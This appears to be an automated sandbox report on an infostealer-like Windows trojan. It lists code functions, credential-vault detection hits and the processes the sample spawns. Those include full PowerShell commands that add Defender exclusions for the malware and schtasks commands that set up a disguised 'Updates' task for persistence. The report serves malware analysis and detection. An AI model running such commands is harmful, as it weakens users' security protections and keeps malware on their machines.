Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_01482CC8	0_2_01482CC8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_01482CD8	0_2_01482CD8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_014836D1	0_2_014836D1
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_014836E0	0_2_014836E0
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_01483818	0_2_01483818
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_09D50040	0_2_09D50040
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_09D52DD8	0_2_09D52DD8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A0428E8	0_2_0A0428E8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04B92F	0_2_0A04B92F
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04B940	0_2_0A04B940
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A049E20	0_2_0A049E20
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04BD68	0_2_0A04BD68
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04BD78	0_2_0A04BD78
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04A258	0_2_0A04A258
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04A268	0_2_0A04A268
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A0452E8	0_2_0A0452E8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04001B	0_2_0A04001B
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A040040	0_2_0A040040
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0A04A6A0	0_2_0A04A6A0
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 0_2_0F1822A8	0_2_0F1822A8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_011741C8	8_2_011741C8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_0117E299	8_2_0117E299
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_0117A968	8_2_0117A968
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_01174A98	8_2_01174A98
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_01173E80	8_2_01173E80
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06925628	8_2_06925628
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06926648	8_2_06926648
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06927DD8	8_2_06927DD8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_0692B282	8_2_0692B282
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_069230E0	8_2_069230E0
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_0692C1E8	8_2_0692C1E8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_069276F8	8_2_069276F8
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_0692E400	8_2_0692E400
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06925D3B	8_2_06925D3B
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06920040	8_2_06920040
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06A118CA	8_2_06A118CA
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06A11902	8_2_06A11902
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06A11908	8_2_06A11908
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Code function: 8_2_06920025	8_2_06920025
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_015E2CD8	9_2_015E2CD8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_015E2CC8	9_2_015E2CC8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_015E36D1	9_2_015E36D1
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_015E36E0	9_2_015E36E0
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_015E3818	9_2_015E3818
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_09880040	9_2_09880040
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_09882DD8	9_2_09882DD8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0ADA0B08	9_2_0ADA0B08
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2DB940	9_2_0B2DB940
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2D28E8	9_2_0B2D28E8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2D28D8	9_2_0B2D28D8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2D9E30	9_2_0B2D9E30
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2DBD68	9_2_0B2DBD68
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2DBD78	9_2_0B2DBD78
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2DA268	9_2_0B2DA268
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2D0006	9_2_0B2D0006
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2D0040	9_2_0B2D0040
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 9_2_0B2DA6A0	9_2_0B2DA6A0
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_015041C8	13_2_015041C8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_0150E299	13_2_0150E299
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_0150A968	13_2_0150A968
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_01504A98	13_2_01504A98
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_01503E80	13_2_01503E80
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CAB488	13_2_06CAB488
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA30E0	13_2_06CA30E0
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA76F8	13_2_06CA76F8
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA0040	13_2_06CA0040
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06D91908	13_2_06D91908
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06D91902	13_2_06D91902
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Code function: 13_2_06CA0021	13_2_06CA0021

Source: kAsh3nmsgs.exe, 00000000.00000002.1730005072.0000000003254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedf8fc031-c024-49b7-9cf2-cdfecdf01d4a.exe4 vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1724628810.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1733831709.0000000007E10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedf8fc031-c024-49b7-9cf2-cdfecdf01d4a.exe4 vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1730005072.0000000002F19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004719000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameArthur.dll" vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1730748161.0000000004752000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000000.1679143670.0000000000B2C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenametkXU.exe4 vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000000.00000002.1736515413.000000000B640000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000008.00000002.4146027823.000000000043C000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedf8fc031-c024-49b7-9cf2-cdfecdf01d4a.exe4 vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe, 00000008.00000002.4146758846.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs kAsh3nmsgs.exe
Source: kAsh3nmsgs.exe	Binary or memory string: OriginalFilenametkXU.exe4 vs kAsh3nmsgs.exe

Source: kAsh3nmsgs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.HHhSyZN.exe.4c1f8f8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.HHhSyZN.exe.4be4ed8.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.HHhSyZN.exe.4c1f8f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.kAsh3nmsgs.exe.4afe9e8.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 9.2.HHhSyZN.exe.4be4ed8.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: kAsh3nmsgs.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: HHhSyZN.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@2/2

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

File created: C:\Users\user\AppData\Roaming\HHhSyZN.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Mutant created: \Sessions\1\BaseNamedObjects\ySytCl
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7788:120:WilError_03

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

File created: C:\Users\user\AppData\Local\Temp\tmp4794.tmp

Jump to behavior

Source: kAsh3nmsgs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: kAsh3nmsgs.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: kAsh3nmsgs.exe	ReversingLabs: Detection: 79%
Source: kAsh3nmsgs.exe	Virustotal: Detection: 61%

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe

File read: C:\Users\user\Desktop\kAsh3nmsgs.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\kAsh3nmsgs.exe "C:\Users\user\Desktop\kAsh3nmsgs.exe"
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Users\user\Desktop\kAsh3nmsgs.exe "C:\Users\user\Desktop\kAsh3nmsgs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\HHhSyZN.exe C:\Users\user\AppData\Roaming\HHhSyZN.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process created: C:\Users\user\AppData\Roaming\HHhSyZN.exe "C:\Users\user\AppData\Roaming\HHhSyZN.exe"
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\kAsh3nmsgs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HHhSyZN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp4794.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Process created: C:\Users\user\Desktop\kAsh3nmsgs.exe "C:\Users\user\Desktop\kAsh3nmsgs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HHhSyZN" /XML "C:\Users\user\AppData\Local\Temp\tmp586D.tmp"
Source: C:\Users\user\AppData\Roaming\HHhSyZN.exe	Process created: C:\Users\user\AppData\Roaming\HHhSyZN.exe "C:\Users\user\AppData\Roaming\HHhSyZN.exe"

Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kAsh3nmsgs.exe	Section loaded: wintypes.dll	Jump to behavior
